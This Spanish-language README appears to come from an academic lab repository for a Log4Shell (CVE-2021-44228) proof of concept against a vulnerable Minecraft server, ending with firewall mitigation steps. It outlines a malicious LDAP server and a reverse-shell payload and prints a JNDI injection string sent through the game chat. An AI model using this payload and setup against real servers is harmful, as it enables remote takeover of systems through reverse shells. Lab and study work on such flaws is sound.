Share
## https://sploitus.com/exploit?id=DC299007-3704-5B78-9769-F3AABCE0CE8B
# PoC Log4Shell (CVE-2021-44228) - Entorno Controlado

Este repositorio contiene los scripts de configuración, el payload y las políticas de mitigación utilizados para la Prueba de Concepto (PoC) de la vulnerabilidad **Log4Shell (CVE-2021-44228)**, desarrollada como parte del trabajo de monografía para el diplomado en Ciberseguridad.

> **⚠️ ADVERTENCIA LEGAL Y ÉTICA:** 
> Todo el código y la información contenida en este repositorio tiene fines **estrictamente académicos y de Hacking Ético**. Fue diseñado para ser ejecutado en un entorno de laboratorio aislado y virtualizado. El autor no se hace responsable del mal uso de estas herramientas. No utilices este código en sistemas que no te pertenezcan o sin autorización expresa.

## 📋 Descripción del Laboratorio

El laboratorio virtualizado recrea un escenario de ataque cliente-servidor utilizando:
*   **Atacante:** Kali Linux (Servidor LDAP malicioso con Marshalsec y oyente Netcat).
*   **Víctima:** Windows 11 (Ejecutando un servidor de Minecraft v1.8.8 vulnerable).
*   **Vector de ataque:** Inyección JNDI a través del chat de la aplicación.

## 📂 Estructura de Archivos

*   `Exploit.java`: Código fuente del payload malicioso (Reverse Shell).
*   `iniciar_servidor.bat`: Script de inicialización del servidor vulnerable en Windows.
*   `descargar_minecraft.ps1`: Script para obtener el aplicativo vulnerable desde fuentes oficiales.
*   `preparar_kali.sh`: Comandos para preparar la infraestructura atacante (JDK 8, Maven, Marshalsec).
*   `mitigacion_firewall.ps1`: Script de remediación (Hardening) implementando políticas Zero Trust.

## 🚀 Resumen de Ejecución (PoC)

1. **Preparación del Atacante (Kali Linux):**
   Se compila `Exploit.java` en un archivo `.class` y se expone mediante un servidor HTTP en el puerto 80.
   Se inicializa un servidor LDAP malicioso utilizando Marshalsec que redirige las peticiones hacia el payload.

2. **Ejecución de la Víctima (Windows 11):**
   Se ejecuta el servidor de Minecraft vulnerable utilizando el script `iniciar_servidor.bat`.

3. **Explotación:**
   Desde el cliente, se envía la siguiente cadena JNDI maliciosa a través de un campo de texto (chat):
   `${jndi:ldap://:1389/Exploit}`

4. **Resultado:**
   El servidor vulnerable resuelve la petición LDAP, descarga la clase maliciosa y la ejecuta, otorgando al atacante una Reverse Shell con los privilegios del servicio.

## 🛡️ Mitigación y Remediación

Como parte del análisis, se desarrollaron reglas de defensa en profundidad. El script `mitigacion_firewall.ps1` incluye:
*   Bloqueo de conexiones salientes hacia puertos comunes de explotación JNDI (389, 1389, 1099).
*   Implementación de políticas **Zero Trust** para el ejecutable de Java.